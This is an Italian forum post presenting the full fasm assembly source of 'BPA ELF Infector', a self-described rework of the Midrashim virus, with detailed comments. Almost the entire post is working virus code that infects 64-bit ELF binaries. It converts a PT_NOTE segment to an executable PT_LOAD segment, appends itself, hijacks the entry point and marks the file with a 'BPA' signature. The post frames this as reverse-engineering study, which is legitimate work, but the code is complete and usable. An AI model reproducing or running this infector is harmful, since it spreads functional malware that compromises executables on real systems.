SPAGHETTI HACKER

  1. BPA ELF Infector - bash
    log.017

    Tags
    malware
    re
    By AKIRA BASHO il 16 April 2023
     
    0 Comments   95 Views
    .
    DhPnjlW

    ;BPAinfector.asm

    ;fasm BPAinfector.asm

    ;il BPA ELF infector si basa sulla ben nota tecnica di infezione PT_NOTE -> PT_LOAD e funziona sia sui binari regolari che sui PIE; questo metodo ha un alto tasso di successo ed è facile da implementare (e rilevare).

    ;il BPA ELF infector è una rielaborazione del virus Midrashim; ho reversato e modificato il virus Midrashim unicamente per imparare come funziona questa tecnica, essendo interessato a tutto quello che concerne il Reverse Engineering e la Malware Analysis

    https://syscall.sh

    ;sito dell'autore del Midrashim con i riferimenti alle varie syscall

    ;step generali dell'infector:
    ;riserva spazio sullo stack per archiviare i valori in memoria
    ;verifica se il virus viene eseguito per la prima volta (visualizza un messaggio di payload diverso se viene eseguito per la prima volta)
    ;apre il file da infettare
    ;tenta di infettare il file di destinazione
    ;esce

    ;Stack buffer:
    ;r15 + 0 = stack buffer (10000 bytes) = stat
    ;r15 + 48 = stat.st_size
    ;r15 + 144 = ehdr
    ;r15 + 148 = ehdr.class
    ;r15 + 152 = ehdr.pad
    ;r15 + 168 = ehdr.entry
    ;r15 + 176 = ehdr.phoff
    ;r15 + 198 = ehdr.phentsize
    ;r15 + 200 = ehdr.phnum
    ;r15 + 208 = phdr = phdr.type
    ;r15 + 212 = phdr.flags
    ;r15 + 216 = phdr.offset
    ;r15 + 224 = phdr.vaddr
    ;r15 + 232 = phdr.paddr
    ;r15 + 240 = phdr.filesz
    ;r15 + 248 = phdr.memsz
    ;r15 + 256 = phdr.align
    ;r15 + 300 = jmp rel
    ;r15 + 3000 = first run control flag
    ;r15 + 3001 = payload

    ;buffer nello stack, con le varie informazioni dell'ELF Header e dei Program Headers del file target, oltre ad altre informazioni e al payload

    format ELF64 executable 3

    SYS_EXIT = 60
    SYS_OPEN = 2
    SYS_CLOSE = 3
    SYS_WRITE = 1
    SYS_READ = 0
    SYS_EXECVE = 59
    SYS_GETDENTS64 = 217
    SYS_FSTAT = 5
    SYS_LSEEK = 8
    SYS_PREAD64 = 17
    SYS_PWRITE64 = 18
    SYS_SYNC = 162
    STDOUT = 1
    EHDR_SIZE = 64
    ELFCLASS64 = 2
    O_RDONLY = 0
    O_RDWR = 2
    SEEK_END = 2
    MFD_CLOEXEC = 1
    DT_REG = 8
    PT_LOAD = 1
    PT_NOTE = 4
    PF_X = 1
    PF_R = 4
    FIRST_RUN = 1
    V_SIZE = 944

    segment readable executable
    entry v_start

    v_start:
    mov r14, [rsp + 8]

    ;salva il nome del programma argv[0] nel registro r14

    mov r10, [rsp + 16]

    ;e il file da infettare, argv[1], nel registro r10

    push rdx
    push rsp
    sub rsp, 5000

    ;riserva 5000 byte nello stack

    mov r15, rsp

    ;in r15 memorizza l'indirizzo del buffer di 5000 byte, contenuto in rsp, lo stack pointer, che rappresenta il registro che punta alla cima dello stack

    check_first_run:
    mov rdi, r14

    ;argv[0] in rdi

    mov rsi, O_RDONLY
    xor rdx, rdx

    ;rdx = 0, mode = 0

    mov rax, SYS_OPEN
    syscall

    ;int open(const char *pathname, int flags, mode_t mode);
    ;rax contiene il file descriptor dell'eseguibile dell'infector il cui nome file è memorizzato in argv[0] e che ha cercato di aprire in sola lettura con la syscall open

    mov rdi, rax
    mov rsi, r15

    ;rsi = r15 = indirizzo del buffer da 5000 bytes

    mov rax, SYS_FSTAT

    ;con fstat ottiene la size dell'infector

    syscall

    ;int fstat(int fd, struct stat *buf); in [r15 + 48] della struttura stat puntata da *buf, fstat memorizza la size dell'eseguibile argv[0]
    ;stat.st_size = [r15 + 48]

    cmp qword [r15 + 48], V_SIZE

    ;la cmp fa una comparazione tra la size di argv[0] e la size del virus; per verificare la prima esecuzione del virus, ottiene la dimensione di argv[0] in byte e la confronta con la dimensione finale del virus, che è stata memorizzata in V_SIZE.

    ;diagramma di flusso semplificato; in realtà ci sono anche i controlli per vedere se il file è già infetto; a grandi linee però sono due i flussi principali; quando il virus è eseguito dall'infector, e quindi quando viene settata la FIRST_RUN e quando invece viene eseguito dal file infetto; in questo caso, salterebbe la fase dell'infezione, perchè trova la firma del virus in ehdr.pad e quindi stampa il secondo payload
    PZL8Viq
    jg .open_target_file
    mov byte [r15 + 3000], FIRST_RUN

    ;se è più grande, non è il primo run e continua infettando senza settare la flag di controllo, altrimenti setta la flag in [r15 + 3000] che va a definire che è la prima esecuzione del virus

    ;prossimi step:
    ;apre il file da infettare
    ;convalida che si tratti di un ELF a 64 bit (verificando il suo magic number e le informazioni sulla classe, dalla sua intestazione)
    ;controlla se il file è già infetto (cercando la firma dell'infezione che dovrebbe essere impostata in ehdr.pad) e in caso affermativo, esce
    ;in caso contrario, scorre i program headers del file target, cercando un segmento PT_NOTE, avviando quindi il processo di infezione, una volta trovato[/color]

    .open_target_file:

    mov rdi, r10

    ;file da infettare

    mov rsi, O_RDWR
    xor rdx, rdx

    ;apre il file in modalità read & write, con mode = 0

    mov rax, SYS_OPEN
    syscall

    cmp rax, 0

    ;se non può aprire il file, esce; Il valore di ritorno di open() è un descrittore di file, un piccolo numero intero non negativo; quindi salta se non riesce ad aprirlo, perchè in questo caso la syscall open ritorna un valore 0 o negativo

    jbe .continue
    mov r9, rax

    ;in r9 mette l'fd del file da infettare

    .read_ehdr:
    mov rdi, r9
    lea rsi, [r15 + 144]

    ;rsi = ehdr = [r15 + 144]; con la pread adesso va a mettere a partire dalla locazione r15 + 144 l'ELF Header del file da infettare

    mov rdx, EHDR_SIZE

    ;ehdr.size

    mov r10, 0

    ;legge dall'offset 0

    mov rax, SYS_PREAD64
    syscall

    ;pread64, legge da un file descriptor a partire da un determinato offset

    .is_elf:
    cmp dword [r15 + 144], 0x464c457f

    ;0x464c457f si legge in ASCII .ELF in little-endian; è il magic number dell'ELF

    jnz .close_file

    ;se non è un binario ELF, esce

    .is_64:
    cmp byte [r15 + 148], ELFCLASS64

    ;controlla se il file da infettare è un ELF a 64 bit

    jne .close_file

    ;chiude e il file ed esce in caso non lo sia

    .is_infected:
    cmp dword [r15 + 152], 0x00415042

    ;check della firma in [r15 + 152] ehdr.pad (BPA in little-endian, più un byte 00 per arrivare a 4 byte)

    jz .close_file

    ;se è presente la firma, il file è già infetto, chiude il file ed esce[/color]

    mov r8, [r15 + 176]

    ;in r8 va a mettere l'offset del binario dopo il quale iniziano i program headers ehdr.phoff = [r15 + 176]

    xor rbx, rbx

    ;contatore rbx inizializzato a 0 per il loop

    xor r14, r14

    ;in r14 c'è il phdr offset

    .loop_phdr:
    mov rdi, r9

    ;in r9 c'è sempre l'fd del file da infettare

    lea rsi, [r15 + 208]

    ;rsi = phdr = [r15 + 208], il nostro void *buf per la syscall pread64 punta all'inizio della phdr; la tabella di intestazione del programma di un file oggetto eseguibile o condiviso è un array di strutture, ognuna delle quali descrive un segmento o altre informazioni necessarie al sistema per preparare il programma per l'esecuzione.

    mov dx, word [r15 + 198]

    ;ehdr.phentsize = [r15 + 198]

    mov r10, r8

    ;legge l'offset ehdr.phoff da r8 (incrementando di ehdr.phentsize r8 ad ogni iterazione del loop)

    mov rax, SYS_PREAD64
    syscall

    ;ssize_t pread(int fd, void *buf, size_t count, off_t offset);
    ;rdi = r9, fd del file
    ;rsi = phdr
    ;dx = ehdr.phentsiz
    ;r8 = ehdr.phoff

    cmp byte [r15 + 208], PT_NOTE

    ;controlla se phdr.type che si trova all'indirizzo [r15 + 208] è di tipo PT_NOTE

    jz .infect

    ;se si, passa ad infettare il file, perchè ha trovato un program header adatto all'infezione

    inc rbx

    ;se no, incrementa il contatore bx

    cmp bx, word [r15 + 200]

    ;controlla se sono stati visitati tutti i phdrs (ehdr.phnum = [r15 + 200])

    jge .close_file

    ;esce se non trova un phdr valido per l'infezione

    add r8w, word [r15 + 198]

    ;altrimenti, aggiunge la ehdr.phentsize da [r15 + 198] a r8w e torna indietro

    jnz .loop_phdr

    .infect:
    .get_target_phdr_file_offset:
    mov ax, bx

    ;mette in ax il contatore bx phdr loop counter che indica l'indice del program header di tipo PT_NOTE da infettare

    mov dx, word [r15 + 198]

    ;mette in dx la size ehdr.phentsize da [r15 + 198]

    imul dx

    ;bx * ehdr.phentsize, mette in ax l'offset che aggiunto all'ehdr.phoff ci fornisce l'indirizzo del phdr adatto all'infezione di tipo PT_NOTE che mette in r14

    mov r14w, ax
    add r14, [r15 + 176]

    ;r14 = ehdr.phoff + (bx * ehdr.phentsize)

    .file_info:
    mov rdi, r9
    mov rsi, r15

    ;rsi = r15 = stack buffer address

    mov rax, SYS_FSTAT
    syscall

    ;stat.st_size = [r15 + 48]

    .append_virus:

    ;calcola l'EOF del file da infettare

    mov rdi, r9

    ;r9 contiene l'fd del file da infettare

    mov rsi, 0

    ;seek offset 0

    mov rdx, SEEK_END
    mov rax, SYS_LSEEK
    syscall

    ;aggiunge il codice del virus (v_stop - v_start) alla fine del file di destinazione; questi offset cambieranno durante le diverse esecuzioni del virus, quindi utilizza una vecchia tecnica che calcola l'offset della memoria delta utilizzando l'istruzione di chiamata e il valore di rbp durante il runtime

    push rax

    ;in rax che viene salvato sullo stack, c'è l'offset del EOF del file da infettare

    call .delta

    ;in sostanza .delta è un offset all'interno del file; quindi con call .delta, va a mettere nello stack "rip" che è l'istruzione successiva da eseguire, cioè pop rbp; esegue questa istruzione, e mette in rbp l'indirizzo di pop rbp; sottrae a questo indirizzo l'offset .delta, e si calcola l'indirizzo iniziale dell'eseguibile, che memorizza in rbp; con l'istruzione lea rsi, [rbp + v_start], ottiene il punto di inizio in memoria a runtime del virus;

    .delta:
    pop rbp
    sub rbp, .delta

    ;scrive il virus alla fine del file

    mov rdi, r9

    ;r9 contiene l'fd del file da infettare

    lea rsi, [rbp + v_start]

    ;carica l'indirizzo di v_start in rsi

    mov rdx, v_stop - v_start

    ;la size del virus

    mov r10, rax

    ;rax contiene l'EOF offset, in quanto valore di ritorno della precedente syscall

    mov rax, SYS_PWRITE64
    syscall

    ;scrive il virus in fondo al file da infettare

    cmp rax, 0
    jbe .close_file

    ;esce se la scrittura non è andata a buon fine

    ;step successivi:
    ;applica la patch al segmento PT_NOTE di destinazione
    ;cambia il type, rendendo il segmento di tipo PT_LOAD
    ;cambia i suoi flag (rendendolo eseguibile)
    ;aggiorna il suo phdr.vaddr in modo che punti all'inizio del virus (0xc000000 + stat.st_size)
    ;modifica l'indirizzo dell'entry poin scegliendo un'area che non sia in conflitto con l'esecuzione del programma originale; usa 0xc000000; sceglie un indirizzo sufficientemente alto nella memoria virtuale che, una volta caricato, non si sovrappone ad altro codice.
    ;la dimensioni del virus è aggiunta in phdr.filesz e phdr.memsz
    ;mantiene un corretto allineamento

    .patch_phdr:
    mov dword [r15 + 208], PT_LOAD

    ;patcha il phdr type che si trova all'indirizzo [r15 + 208], cambiandolo da PT_NOTE a PT_LOAD

    mov dword [r15 + 212], PF_R or PF_X

    ;cambia le phdr.flags memorizzate in [r15 + 212] settandole a PF_X (1) | PF_R; rende il nuovo segmento, ora di tipo PT_LOAD, eseguibile e leggibile

    pop rax

    ;rimette in rax l'EOF offset del file da infettare

    mov [r15 + 216], rax

    ;phdr.offset [r15 + 216] = EOF offset

    mov r13, [r15 + 48]

    ;mette la size del file da infettare stat.st_size da [r15 + 48] in r13

    add r13, 0xc000000

    ;e aggiunge 0xc000000 alla size del file da infettare

    mov [r15 + 224], r13

    ;cambia phdr.vaddr in [r15 + 224] nel nuovo valore che si trova nel registro r13 (stat.st_size + 0xc000000)

    mov qword [r15 + 256], 0x200000

    ;setta phdr.align in [r15 + 256] a 2 mega byte; questo membro contiene il valore a cui i segmenti sono allineati in memoria e nel file; i valori zero e uno indicano che non è richiesto alcun allineamento; altrimenti, p_align dovrebbe essere una potenza intera positiva di due, e p_vaddr dovrebbe essere uguale a p_offset, modulo p_align.

    add qword [r15 + 240], v_stop - v_start + 5

    ;aggiunge la dimensione del virus a phdr.filesz al valore presente all'indirizzo [r15 + 240] + 5 byte per l'istruzione jmp all'entry point originale ehdr.entry

    add qword [r15 + 248], v_stop - v_start + 5

    ;aggiunge la dimensione del virus a phdr.memsz al valore presente all'indirizzo [r15 + 248] + 5 per l'istruzione jmp all'entry point originale ehdr.entry

    ;scrive il phdr parchato

    mov rdi, r9

    ;r9 contiene sempre l'fd del file da infettare

    mov rsi, r15

    ;rsi = r15 = stack buffer address

    lea rsi, [r15 + 208]

    ;rsi = phdr = [r15 + 208]

    mov dx, word [r15 + 198]

    ;ehdr.phentsize da [r15 + 198]

    mov r10, r14

    ;phdr da [r15 + 208]

    mov rax, SYS_PWRITE64
    syscall
    cmp rax, 0
    jbe .close_file

    ;scrive la patch e in caso la pwrite fallisce, chiude il file e esce

    ;prossimi step:
    ;applica la patch all'intestazione ELF
    ;salva l'entry point originale in r14
    ;aggiorna l'entry point in modo che sia uguale all'indirizzo virtuale del segmento patchato (phdr.vaddr)
    ;aggiunge la stringa del marker di infezione in ehdr.pad

    .patch_ehdr:

    ;va a patchare ehdr

    mov r14, [r15 + 168]

    ;salva l'entry point originale del file da infettare ehdr.entry da [r15 + 168] in r14

    mov [r15 + 168], r13

    ;setta ehdr.entry in [r15 + 168] al valore contenuto in r13 (phdr.vaddr)

    mov r13, 0x00415042

    ;carica la firma del virus in r13 (BPA in little-endian)

    mov [r15 + 152], r13

    ;scrive la firma del virus in ehdr.pad all'indirizzo dello stack [r15 + 152]
    ;scrive l'ehdr patchato

    mov rdi, r9
    lea rsi, [r15 + 144]

    ;rsi = ehdr = [r15 + 144]

    mov rdx, EHDR_SIZE

    ;ehdr.size

    mov r10, 0

    ;ehdr.offset

    mov rax, SYS_PWRITE64
    syscall
    cmp rax, 0
    jbe .close_file

    ;scrive la patch, in caso fallisce, chiude il file ed esce

    .write_patched_jmp:

    ;ottiene il nuovo EOF del file

    mov rdi, r9

    ;r9 contains fd

    mov rsi, 0

    ;seek offset 0

    mov rdx, SEEK_END
    mov rax, SYS_LSEEK
    syscall

    ;e lo mette in rax
    ;crea la jmp patchata

    mov rdx, [r15 + 224]

    ;rdx = phdr.vaddr

    add rdx, 5
    sub r14, rdx
    sub r14, v_stop - v_start
    mov byte [r15 + 300 ], 0xe9
    mov dword [r15 + 301], r14d

    ;scrive la jmp patchata alla fine del file EOF; la jmp salta all'entry point originale per far continuare l'eseguibile infetto come se non fosse stato infettato; a questa entry point originale viene sottratta la dimensione del virus e i 5 byte della jmp aggiuntiva

    mov rdi, r9
    lea rsi, [r15 + 300]

    ;rsi = jmp patchata nello stack buffer = [r15 + 300]

    mov rdx, 5

    ;5 bytes, la dimensione della jmp

    mov r10, rax

    ;r10 = rax = new target EOF

    mov rax, SYS_PWRITE64
    syscall
    cmp rax, 0
    jbe .close_file

    ;scrive la jmp patchata alla fine del file dopo il virus, se non riesce, chiude il file ed esce

    mov rax, SYS_SYNC

    ;committa le cache del filesystem sul disco

    syscall

    .close_file:
    mov rax, SYS_CLOSE

    ;chiude il file

    syscall

    .continue:

    cmp byte [r15 + 3000], FIRST_RUN

    ;controlla se la flag di controllo indica che è la prima esecuzione del virus

    jnz infected_run

    ;se la flag è diversa da 1, il tutto è eseguito da un file infetto, quindi utilizza il normale payload

    call show_msg

    ;se la flag di controllo è uguale 1, si presuppone che il virus venga eseguito per la prima volta e quindi visualizza un messaggio diverso

    info_msg:
    db 'BPA Malware 2023', 0xa
    info_len = $-info_msg
    show_msg:
    pop rsi

    ;l'indirizzo di info_msg in rsi

    mov rax, SYS_WRITE
    mov rdi, STDOUT
    mov rdx, info_len
    syscall

    ;scrive il messaggio

    jmp cleanup

    ;cleanup ed esce

    infected_run:

    ;qui invece utilizza un payload differente, perchè il file è infetto

    call payload
    msg:
    ;db 0x99, 0xb1, 0x41
    db 0x42, 0x50, 0x41, 0x20, 0x69, 0x6E, 0x66, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x79, 0x6F, 0x75, 0x21, 0x0a
    len = $-msg

    payload:

    pop rsi
    mov rax, SYS_WRITE
    mov rdi, STDOUT
    mov rdx, len
    syscall

    ;scrive il payload

    cleanup:
    add rsp, 5000

    ;ripristina lo stack in modo che il processo host possa funzionare normalmente

    pop rsp
    pop rdx

    v_stop:
    xor rdi, rdi

    ;exit code 0

    mov rax, SYS_EXIT
    syscall
    5Imc4Dq
    codice: link


    Edited by HCF - 27/4/2024, 20:19
      Share  
     
    .